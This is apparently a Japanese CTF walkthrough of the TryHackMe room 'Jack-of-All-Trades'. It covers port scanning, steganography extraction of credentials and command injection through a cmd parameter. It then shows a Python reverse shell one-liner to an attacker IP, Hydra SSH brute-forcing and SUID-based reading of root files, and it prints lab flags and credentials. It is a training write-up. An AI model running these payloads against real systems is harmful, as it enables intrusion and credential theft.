概要
TryHackMe「Jack-of-All-Trades」のWalkthroughです。
Task1
Q1.User Flag
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.212.81 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Jack-of-all-trades!
80/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
| 2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
| 256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_ 256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | http | Apache httpd 2.4.10 |
| 80 | ssh | OpenSSH 6.7p1 |
ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.212.81:22/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
[Status: 200, Size: 1605, Words: 196, Lines: 25, Duration: 237ms]
assets [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 236ms]
[INFO] Adding a new job to the queue: http://10.10.212.81:22/assets/FUZZ
[INFO] Starting queued job on target: http://10.10.212.81:22/assets/FUZZ
[Status: 200, Size: 1547, Words: 92, Lines: 20, Duration: 246ms]
22番ポートでWebサイトにアクセスできました。
ページの文からJackというユーザー名を発見しました。
ソースコードを見るとコメントアウトで/recovery.phpパスとbase64でエンコードされた文字列を発見しました。
文字列をデコードするとJohny Gravesというユーザー名とu?WtKSraqというパスワードを発見しました。
$ echo -n "UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==" | base64 -d
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq
/recovery.phpへアクセスします。
ソースコードを見るとまた別のエンコードされた文字列を発見しました。
From Base32->From Hex->ROT13の手順でデコードするとRemember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S.という文言とヒントに短縮URLを発見しました。
ヒントの短縮URLはステゴサウルスのWikipediaページでした。
クレデンシャル情報はホームページにあると言われているのでホームページの画像ファイルに注目しました。
まず、stego.jpgからu?WtKSraqのパスワードを使用して隠されたcreds.txtを発見しました。
$ steghide extract -sf stego.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
ファイルの中に認証情報はありませんでしたが、方向性は合っていると言われました。
Hehe. Gotcha!
You're on the right path, but wrong image!
jackinthebox.jpgからは何も見つかりませんでした。
$ steghide extract -sf jackinthebox.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
header.jpgからcms.credsを発見しました。
$ steghide extract -sf header.jpg
Enter passphrase:
wrote extracted data to "cms.creds".
cms.credsの中に認証情報を発見しました。
Here you go Jack. Good thing you thought ahead!
Username: jackinthebox
Password: TplFxiSHjY
この情報を使ってログインに成功しました。
本文からcmdパラメータでコマンドを実行できそうなので試すとコマンドの実行に成功しました。
リバースシェルの待ち受けをします。
$ nc -lvnp 1234
リバースシェルのパラメータを付与してリクエストを送信します。
?cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn("sh")'
シェルの獲得に成功しました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.97.18] 50840
$ whoami
whoami
www-data
/home/jacks_password_listからJackのパスワードリストを発見しました。
$ cat /home/jacks_password_list
cat /home/jacks_password_list
*hclqAzj+2GC+=0K
eN<A@n^zI?FE$I5,
X<(@zo2XrEN)#MGC
,,aE1K,nW3Os,afb
ITMJpGGIqg1jn?>@
0HguX{,fgXPE;8yF
sjRUb4*@pz<*ZITu
[8V7o^gl(Gjt5[WB
yTq0jI$d}Ka<T}PD
Sc.[[2pL<>e)vC4}
9;}#q*,A4wd{<X.T
M41nrFt#PcV=(3%p
GZx.t)H$&awU;SO<
.MVettz]a;&Z;cAC
2fh%i9Pr5YiYIf51
TDF@mdEd3ZQ(]hBO
v]XBmwAk8vk5t3EF
9iYZeZGQGG9&W4d1
8TIFce;KjrBWTAY^
SeUAwt7EB#fY&+yt
n.FZvJ.x9sYe5s5d
8lN{)g32PG,1?[pM
z@e1PmlmQ%k5sDz@
ow5APF>6r,y4krSo
これをローカルに保存し、Hydraで総当たりします。
$ hydra -f -l jack -P ./jack_pass_list 10.10.97.18 -s 80 ssh
パスワードが判明しました。
[80][ssh] host: 10.10.97.18 login: jack password: ITMJpGGIqg1jn?>@
そしてSSH接続に成功しました。
$ ssh -p 80 jack@10.10.97.18
jack@10.10.97.18's password:
jack@jack-of-all-trades:~$
/home/jack/user.jpgを発見したのでscpコマンドなどでローカルに保存します。
$ scp -P 80 jack@10.10.97.18:/home/jack/user.jpg ./
jack@10.10.97.18's password:
user.jpg 100% 286KB 171.0KB/s 00:01
画像からユーザーフラグを入手できます。
A.securi_tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}
Q2.Root Flag
Hint./root/root.txt
SUIDの検索をすると/usr/bin/stringsにSUIDが設定されていると分かりました。
$ find / -user root -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su
stringsコマンドで/root/root.txtを読み込んでルートフラグを入手できます。
$ /usr/bin/strings /root/root.txt
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}
A.securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}







